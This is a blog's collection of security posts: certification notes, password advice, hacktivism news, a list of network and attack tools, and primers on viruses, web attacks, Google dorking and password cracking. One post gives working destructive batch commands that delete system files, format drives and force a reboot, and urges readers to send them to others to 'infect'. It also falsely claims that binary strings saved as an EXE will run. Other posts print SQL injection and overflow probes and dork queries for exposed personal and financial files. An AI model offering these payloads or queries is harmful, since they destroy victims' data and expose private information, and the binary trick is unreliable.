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Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Friday, April 13, 2018

CISCO CCNA Cyber Ops Certification

Another achievement for the love of #Cyber #Security completed two exam to become Cisco Certified Network Associate Cyber Ops (CCNA Cyber Ops) Thanks to my family, work colleague and my networks for encouragement and support. #CCNA #CyberOps #CyberSecurity 

My review for the Cert: This cert is for security analyst interested in Security Operation Center to become CISCO Cyber Ops it required to pass two exam.

First one is like knowing networking , cryptography , general info sec concepts, web attack, linux and windows commands, file system, logs and different type of model that deal with threat.
Second exam is implementing like type of Security operations monitoring tools, incident detection,analysis and playbooks, threat hunting, Threat scoring, incident response and automation, Computer Forensics, Network Intrusion Analysis, Data and event analysis etc
Loved studying the CISCO books but felt amazing when setup LAB in my pc Three VM First is vulnerable linux pc (metasploitable vm) Second for Monitoring (Security Onion ) Linux which have monitoring tools included and Third for Hacking/Breaking the other vulnerable system using (KALI Linux) which have industry standard awesome tools included. Also love  reading Computer Security Incident Handling Guide: NIST 800-61 doc.

CCNA Cyber Ops Exam Details :

Study Material for first Exam: SECFND Study Material
Understanding Cisco Cybersecurity Fundamentals (SECFND) v1.0

Study Material for Second Exam: SECOPS Study Material
Implementing Cisco Cybersecurity Operations (SECOPS) v1.0

Saturday, March 3, 2018

Password what to use and how to use it ?

Now a days Passwords for people is like we don't love them but can't live without them. So, here is something that help you to stay secure. I am sure that you know many of the following widely available and well-known guidelines for creating more secure passwords, but just in case, here is a recap:
  1. Use a mix upper- and lowercase letters, numbers, and special characters for example, Th1$1$@Samp!3
  2. Replace some letters with numbers (for example, replace i with 1 and e with 3)
  3. Do not include your name or other personal information (such as spouse /children, street address, school, birthdays, and anniversaries).
  4. Use nonsense phrases, misspellings, substitutions, or before-and-after words and phrases combining two unrelated words or phrases, such as “Avangers007” "Highway2R@bbitH0le" "TheE4gl3hasALandD0wnUnder"
  5. Combine two words by using a special character for example, P1zza&Cok3 Tra1n@ndT1ck3t, H4rry!P0t3r.
  6. Use a combination of all the other tips in this list for example, “Harry porter becomes H4rry!P0t3r, Pizza and coke becomes P1zza&Cok3 etc.
  7. Do not use repeating patterns between changes for example, password1, password2, password3, Most importantly 123456789 should never be used as password.
  8. Do not use the same passwords for work and personal accounts.
  9. Do not use passwords that are too difficult to remember.(keep it 8-14 character)
  10. Use a password manager like KeePass Password Safe, LastPass, Dashlane, Sticky Password, Roboform, TrueKey, Symantec Norton Identity Safe etc
Finally “A password should be like a toothbrush. Use it every day; change it regularly; and DON’T share it with friends.”

Faysal Hasan - is a IT System Engineer with a passion for security. He worked in information technology service delivery for more than 7 years. He received his Bachelor in IT from Southern Cross University, Australia and has earned numerous technical certifications throughout his career which include MCSE, 2xMCSA, CCNA Cyber Ops, VMWare Data Center, Citrix Xen App, Mcafee Endpoint Protection, ITIL v3,. He  also received many training that include SPLUNK, Service NOW, Prince 2 project management etc, He  is currently working as System Engineer in Enterprise Operations looking after technology infrastructure for Victoria Police.

Monday, April 2, 2012

Bangladeshi Prime Minister's Email-id Hacked By Teamgreyhat

Bangladeshi Prime Minister's Email-id Hacked By Teamgreyhat 
বাংলাদেশের প্রধান মন্ত্রির ইমেইল একাউন্ট হ্যাক

After remaining silent for a certain time hacktivist group Teamgreyhat strikes again. The past records says this hacker group is know for hacking large number of sites but this time they did some thing different. Here the target was Sheikh Hasina, Prime Minister of Bangladesh. Teamgreyhat took responsibility for hacking into the official Email-id of Bangladesh PM (pm@pmo.gov.bd). Also they have claimed to have access to rest of other 73 email-id's of Bangladesh Prime Minister Office. Teamgreyhat have submitted the following screen shots- 

The above screen shots ware taken during the hack (submitted by TGH), which is clearly indicating that the hacker group has successfully breached the Web-mail of Bangladesh Prime Minister office and exported all the emails from the pm@pmo.gov.bd. Due to security issue we are not publishing the password of that above mail id. Earlier this group has taken a major role in the past cyber-war between India & Bangladesh while hacking into Bangladeshi Stock Market, Islami Bank Ltd Bangladesh and few other high profile website of BD. We want to give you reminder that in the time of Islami Bank hacking TGH claimed that they have breached the BD Prime Minister Office(PMO) & BD Parliament Network and gained more than 40 GB sensitive data of BD govt. So it can be expected that time they have stolen the passwords of BD PM. Though Teamgreyhat did not specify the reason of this hack. .

Monday, February 13, 2012

Net Tools 2011 a Swiss Army knife for everyone interested in a set of powerful network tools

The Creation
Net Tools is cutting-edge security and network monitoring software for the Internet and Local Area Networks, providing clients with the ability and confidence to meet the challenges of tomorrow's technology. Keeping pace with the industry trends, we offer professional tools that support the latest standards, protocols, software, and hardware for both wired and wireless networks.

The main goal is the creation of high quality software. Net Tools is a very strong combination of network scanning, security, file, system, and administrator tools useful in diagnosing networks and monitoring your PC and computer's network connections for system administrators. Next to the essential core tools it includes a lot of extra valuable features.

It’s a Swiss Army knife for everyone interested in a set of powerful network tools for everyday use. This all-in-one toolkit includes also a lot of handy file and system utilities next to the huge amount of network tools. The menus are fully configurable, so in this way you won’t get lost in the extremely large amount of essential tools. All the additional features will make this application a must have for all system administrators.

There are numerous constructive and valuable applications included in Net Tools that can be used for a great amount of purposes. The latest version of Net Tools is hybrid; it means that it’s capable of working together with applications that are made and designed for Net Tools, so in this way more flexibility and user-friendliness is obtained. This software is designed for the Microsoft Windows OS (Windows 98, NT, 2000, 2003, XP, Vista, 7).

It’s entirely compatible and has thoroughly been tested on Windows XP. With the 175+ tools it is a great collection of useful tools for network users. The size of Net Tools 5.0.70 is approximately 25 Mb.


Net Tools 5.0 (build 70) contains a whole variety of network tools. Here is a list of the most important tools:
1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8) Trace Route (2 ways)
9) TCP/IP Configuration
10) Online - Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support
31) Mass E-mailer
32) E-mail Bomber
33) E-mail Spoofer
34) Simple Port Scanner (fast)
35) Advanced Netstat Monitoring
36) X Pinger
37) Web Page Scanner
38) Fast Port Scanner
39) Deep Port Scanner
40) Fastest Host Scanner (UDP)
41) Get Header
42) Open Port Scanner
43) Multi Port Scanner
44) HTTP scanner (Open port 80 subnet scanner)
45) Multi Ping for Cisco Routers
46) TCP Packet Sniffer
47) UDP flooder
48) Resolve and Ping
49) Multi IP ping
50) File Dependency Sniffer
51) EXE-joiner (bind 2 files)
52) Encrypter
53) Advanced Encryption
54) File Difference Engine
55) File Comparasion
56) Mass File Renamer
57) Add Bytes to EXE
58) Variable Encryption
59) Simple File Encryption
60) ASCII to Binary (and Binary to ASCII)
61) Enigma
62) Password Unmasker
63) Credit Card Number Validate and Generate
64) Create Local HTTP Server
65) eXtreme UDP Flooder
66) Web Server Scanner
67) Force Reboot
68) Webpage Info Seeker
69) Bouncer
70) Advanced Packet Sniffer
71) IRC server creater
72) Connection Tester
73) Fake Mail Sender
74) Bandwidth Monitor
75) Remote Desktop Protocol Scanner
76) MX Query
77) Messenger Packet Sniffer
78) API Spy
79) DHCP Restart
80) File Merger
81) E-mail Extractor (crawler / harvester bot)
82) Open FTP Scanner
83) Advanced System Locker
84) Advanced System Information
85) CPU Monitor
86) Windows Startup Manager
87) Process Checker
88) IP String Collecter
89) Mass Auto-Emailer (Database mailer; Spammer)
90) Central Server (Base Server; Echo Server; Time Server; Telnet Server; HTTP Server; FTP Server)
91) Fishing Port Scanner (with named ports)
92) Mouse Record / Play Automation (Macro Tool)
93) Internet / LAN Messenger Chat (Server + Client)
94) Timer Shutdown/Restart/Log Off/Hibernate/Suspend/ Control
95) Hash MD5 Checker
96) Port Connect - Listen tool
97) Internet MAC Address Scanner (Multiple IP)
98) Connection Manager / Monitor
99) Direct Peer Connecter (Send/Receive files + chat)
100) Force Application Termination (against Viruses and Spyware)
101) Easy and Fast Screenshot Maker (also Web Hex Color Picker)
102) COM Detect and Test
103) Create Virtual Drives
104) URL Encoder
105) WEP/WPA Key Generator
106) Sniffer.NET
107) File Shredder
108) Local Access Enumerater
109) Steganographer (Art of hiding secret data in pictures)
110) Subnet Calculater
111) Domain to IP (DNS)
112) Get SNMP Variables
113) Internet Explorer Password Revealer
114) Advanced Multi Port Scanner
115) Port Identification List (+port scanner)
116) Get Quick Net Info
117) Get Remote MAC Address
118) Share Add
119) Net Wanderer
120) WhoIs Console
121) Cookies Analyser
122) Hide Secret Data In Files
123) Packet Generator
124) Secure File Splitting
125) My File Protection (Password Protect Files, File Injections)
126) Dynamic Switch Port Mapper
127) Internet Logger (Log URL)
128) Get Whois Servers
129) File Split&Merge
130) Hide Drive
131) Extract E-mails from Documents
132) Net Tools Mini (Client/Server, Scan, ICMP, Net Statistics, Interactive, Raw Packets, DNS, Whois, ARP, Computer's IP, Wake On LAN)
133) Hook Spy
134) Software Uninstaller
135) Tweak & Clean XP
136) Steganographic Random Byte Encryption
137) NetTools Notepad (encrypt your sensitive data)
138) File Encrypter/Decrypter
139) Quick Proxy Server
140) Connection Redirector (HTTP, IRC, ... All protocols supported)
141) Local E-mail Extractor
142) Recursive E-mail Extractor
143) Outlook Express E-mail Extractor
144) Telnet Client
145) Fast Ip Catcher
146) Monitor Host IP
147) FreeMAC (MAC Address Editor)
148) QuickFTP Server (+user accounts support)
149) NetTools Macro Recorder/Player (Keybord and Mouse Hook)
150) Network Protocol Analyzer
151) Steganographic Tools (Picture, Sounds, ZIP Compression and Misc Methods)
152) WebMirror (Website Ripper)
153) GeoLocate IP
154) Google PageRank Calculator
155) Google Link Crawler (Web Result Grabber)
156) Network Adapter Binder
157) Remote LAN PC Lister
158) Fast Sinusoidal Encryption
159) Software Scanner
160) Fast FTP Client
161) Network Traffic Analysis
162) Network Traffic Visualiser
163) Internet Protocol Scanner
164) Net Meter (Bandwidth Traffic Meter)
165) Net Configuration Switcher
166) Advanced System Hardware Info
167) Live System Information
168) Network Profiler
169) Network Browser
170) Quick Website Maker and Web Gallery Creator
171) Remote PC Shutdown
172) Serial Port Terminal
173) Standard Encryptor
174) Tray Minimizer
175) Extra Tools (nmap console & win32 version)

Many extra features and utilities are included in this package!


Wednesday, January 11, 2012

Types of viruses :-

The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.

This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.
Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

Input Validation Attacks :-

Input Validation Attacks are where an attacker intentionally sends unusual input in the hopes of confusing the application.

The most common input validation attacks are as follows-

1) Buffer Overflow :- Buffer overflow attacks are enabled due to sloppy programming or mismanagement of memory by the application developers. Buffer overflow may be classified into stack overflows, format string overflows, heap overflows and integer overflows. It may possible that an overflow may exist in language’s (php, java, etc.) built-in functions.

To execute a buffer overflow attack, you merely dump as much data as possible into an input field. The attack is said to be successful when it returns an application error. Perl is well suited for conducting this type of attack.

Here’s the buffer test, calling on Perl from the command line:

$ echo –e “GET /login.php?user=\

> `perl –e ‘print “a” x 500’`\nHTTP/1.0\n\n” | \

nc –vv website 80

This sends a string of 500 “a” characters for the user value to the login.php file.

Buffer overflow can be tested by sending repeated requests to the application and recording the server's response.

2) Canonicalization :- These attacks target pages that use template files or otherwise reference alternate files on the web server. The basic form of this attack is to move outside of the web document root in order to access system files, i.e., “../../../../../../../../../boot.ini”. This type of functionality is evident from the URL and is not limited to any one programming language or web server. If the application does not limit the types of files that it is supposed to view, then files outside of the web document root are targeted, something like following-






3) Cross-site Scripting (XSS) :- Cross-site scripting attacks place malicious code, usually JavaScript, in locations where other users see it. Target fields in forms can be addresses, bulletin board comments, etc.

We have found that error pages are often subject to XSS attacks. For example, the URL for a normal application error looks like this:


This displays a custom access denied page that says, “Invalid password”. Seeing a string

on the URL reflected in the page contents is a great indicator of an XSS vulnerability. The attack would be created as:

That is, place the script tags on the URL.

4) SQL Injection :- This kind of attack occurs when an attacker uses specially crafted SQL queries as an input, which can open up a database. Online forms such as login prompts, search enquiries, guest books, feedback forms, etc. are specially targeted.
The easiest test for the presence of a SQL injection attack is to append “or+1=1” to the URL and inspect the data returned by the server.
example:- http://www.domain.com/index.asp?querystring=sports' or 1=1--

Tuesday, January 10, 2012

Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames)

2) Turn on (Compatible) WPA / WEP Encryption

3) Change the Default SSID

4) Disable SSID Broadcast

5) Assign Static IP Addresses to Devices

6) Enable MAC Address Filtering

7) Turn Off the Network During Extended Periods of Non-Use

8) Position the Router or Access Point Safely

Monday, January 9, 2012

Google Hacking :-

Basic Operators:-
1) And (+) :- This operator is used to include multiple terms in a query which is to be searched in google.
example:- if we type "hacker+yahoo+science" in google search box and click search, it will reveal the results something which are related to all the three words simultaneously i.e. hacker, yahoo and science.

2 ) OR (|) :- The OR operator, represented by symbol( | ) or simply the word OR in uppercase letters, instructs google to locate either one term or another term in a query.

3) NOT :- It is opposite of AND operator, a NOT operator excludes a word from search.
example:- If we want to search websites containing the terms google and hacking but not security then we enter the query like "google+hacking" NOT "security".

Advanced Operators:-
1) Intitle :- This operator searches within the title tags.
examples:- intitle:hacking returns all pages that have the string "hacking" in their title.

intitle:"index of" returns all pages that have string "index of" in their title.

Companion operator:- "allintitle".

2) Inurl :- Returns all matches, where url of the pages contains given word.
example:- inurl:admin returns all matches, where url of searched pages must contains the word "admin".

Companion operator:- "allinurl".

3) Site :- This operator narrows search to specific website. It will search results only from given domain. Can be used to carry out information gathering on specific domain.
example:- site:www.microsoft.com will find results only from the domain www.microsoft.com

4) Link :- This operator allows you to search for pages that links to given website.
example:- link:www.microsoft.com
Here, each of the searched result contains asp links to www.microsoft.com

5) Info :- This operator shows summary information for a site and provides links to other google searches that might pertain to that site.
example:- info:www.yahoo.com

6) Define :- This operator shows definition for any term.
example:- define:security
It gives various definitions for the word "security" in different manner from all over the world.

7) Filetype :- This operator allows us to search specific files on the internet. The supported file types can be pdf, xls, ppt, doc, txt, asp, swf, rtf, etc..
example:- If you want to search for all text documents presented on domain www.microsoft.com then we enter the query something like following.
"inurl:www.microsoft.com filetype:txt"

Google Search :- "Active Webcam Page" inurl:8080 Description- Active WebCam is a shareware program for capturing and sharing the video streams from a lot of video devices. Known bugs: directory traversal and cross site scripting.

Google Search :- "delete entries" inurl:admin/delete.asp Description- AspJar contains a flaw that may allow a malicious user to delete arbitrary messages. The issue is triggered when the authentication method is bypassed and /admin/delete.asp is accessed directly. It is possible that the flaw may allow a malicious user to delete messages resulting in a loss of integrity.

Google Search :- "phone * * *" "address *" "e-mail" intitle:"curriculum vitae"
Description- This search gives hundreds of existing curriculum vitae with names and address. An attacker could steal identity if there is an SSN in the document.

Google Search :- intitle:"index of" finance.xls Description- Secret financial spreadsheets 'finance.xls' or 'finances.xls' of companies may revealed by this query.

Google Search :- intitle:"index.of" robots.txt Description- The robots.txt file contains "rules" about where web spiders are allowed (and NOT allowed) to look in a website's directory structure. Without over-complicating things, this means that the robots.txt file gives a mini-roadmap of what's somewhat public and what's considered more private on a web site. Have a look at the robots.txt file itself, it contains interesting stuff. However, don't forget to check out the other files in these directories since they are usually at the top directory level of the web server!

Google Search :- intitle:index.of.admin Description- Locate "admin" directories that are accessible from directory listings.

Google Search :- inurl:"nph-proxy.cgi" "start browsing" Description- Returns lots of proxy servers that protects your identity online.

Sunday, January 8, 2012

If you think that Notepad is useless ???

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.


Step 2 :- Save As An EXE Any Name Will Do

Step 3 :- Send the EXE to People And Infect


IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100


format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001

try to figure out urself rest

cant spoonfeed

its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this go to notepad and type the following:

@Echo off

Del C:\ *.*|y

save it as Dell.bat

want worse then type the following:

@echo off

del %systemdrive%\*.*/f/s/q

shutdown -r -f -t 00

and save it as a .bat file

Firewalls are your guardian angels.

First of all, keep a software firewall active on your system, and restrict access to ports that allow remote access into your system, a good idea is to allow only a few select hosts access to ports used by services such as ssh (port 22) or telnet (port 23). Keeping a firewall in place ensures that you alone dictate who gets to access remote services on your computer and who doesn’t. To set up a firewall in linux, you can use the iptables program which comes standard with most linux distributions. However, iptables is quite difficult and complicated to set up correctly, and you will need to spend some time fiddling with the command line, but it is very flexible and powerful once configured correctly.

If messing about with iptables dosen’t appeal to you, there are frontends to iptables that you can use to set up effective firewalls. One such frontend is ufw (uncomplicated firewall) this program comes standard on ubuntu and is quite simple to set up, to use it you first have to enable it by typing in ’sudo enable ufw’ in the terminal, once the ufw service is active, adding rules is as simple as ’sudo allow 22/tcp’ > this statement allows all tcp traffic on port 22, swap allow for deny and you have the ssh service blocked, Its that simple, much easier than mucking about with iptables.

Of course, there are many people who do not like the idea of using command-line programs and like all their apps to be graphical. If you prefer a GUI configured firewall, then firestarter is the choice for you. Firestarter is a breeze to use, and has good documentation available on the firestarter website.

2) Passwords are for your protection, choose them well

Choose good user passwords, especially for root. One way to choose a secure password is to take a sentence, reduce it to an acronym and then replace some letters of the acronym with symbols and add some numbers to it. this mixing of alphabets, numbers and symbols, along with its long length will be a strong password.

Never use actual words that have meaning as passwords. These types of passwords are weak and can be cracked using dictionary attacks. Also along those lines: Never use words that hold personal significance with you.. i.e don’t use passwords that people who know you will be inclined to think that you would use, like a favorite pet’s name.. etc.

And for god’s sake, don’t use the word ‘password’ as a password…. ( don’t laugh… thats one of the most common passwords .. )

3) Use antivirus

Yeaps you read right.. antivirus. Antivirus on linux you say? Yes, linux has antivirus suites as well , but this is more for cleaning off your thumbdrives that you may have used in an infected windows machine than for killing linux viruses, as the system of user permissions for executing files makes linux a very inhospitable place for computer viruses to live. clamAV is a good antivirus choice, with a GUI version available for most major distros.

4) Be careful what scripts you get off the net
Getting bash scripts off the net is convenient, but be careful what scripts you run on your system, and make sure you check them out first. If you suspect that a script you got has some nasty intentions behind it, but you do not have the expertise in bash scripting to be sure, post the script in text form on linux support forums and the community will help you out. Unfortunatly, there are idiots out there who write destructive shell scripts and release them into the wilds of the internet, in this case intuition is your best defence.

5) Encrypt sensitive data that you may have.
The concept behind encryption is relatively simple, make the data to be encrypted unreadable to anybody besides authorised users.

My favourite program for encrypting data on linux AND windows would have to be truecrypt. Truecrypt works by creating a virtual volume which you can then set a passphrase or security key to. When you mount the virtual volume, you can then add files to it, which will be totally encrypted and unviewable once unmounted. The only way to mount the drive is to supply the passphrase or key.

6)Keep your BIOS set to boot from your harddrive and then add a password to your bios.

This is to keep people from booting off from live CDs and cracking your password from them. Although it is relatively easy to reset the BIOS password, this should be at least a minor detterance to those who may try this cracking method.

Well, there you go.. hopefully you wil use these tips and make your system a safer box to work on.

Password Hacking :-

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.

Most passwords can be cracked by using following techniques :

1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password.

If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords.

One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length.

LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately.

Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.

2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user's personal information.

Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include:

* blank (none)
* the word "password", "passcode", "admin" and their derivatives
* the user's name or login name
* the name of their significant other or another person (loved one)
* their birthplace or date of birth
* a pet's name
* a dictionary word in any language
* automobile licence plate number
* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)
* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.
and so on....

In one survery of Facebook and MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was.

A password containing both uppercase & lowercase characters, numbers and special characters too; is a strong password and can never be guessed.

Check Your Password Strength

3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet.

Always disable or change the applications' (both online and offline) default username-password pairs.

4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked.

Long is the password, large is the time taken to brute force it.

5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc.

Phishing is a technique in which the attacker creates the fake login screen and send it to the victim, hoping that the victim gets fooled into entering the account username and password. As soon as victim click on "enter" or "login" login button this information reaches to the attacker using scripts or online form processors while the user(victim) is redirected to home page of e-mail service provider.

Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.

It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.

However, cracking usually designates a guessing attack.

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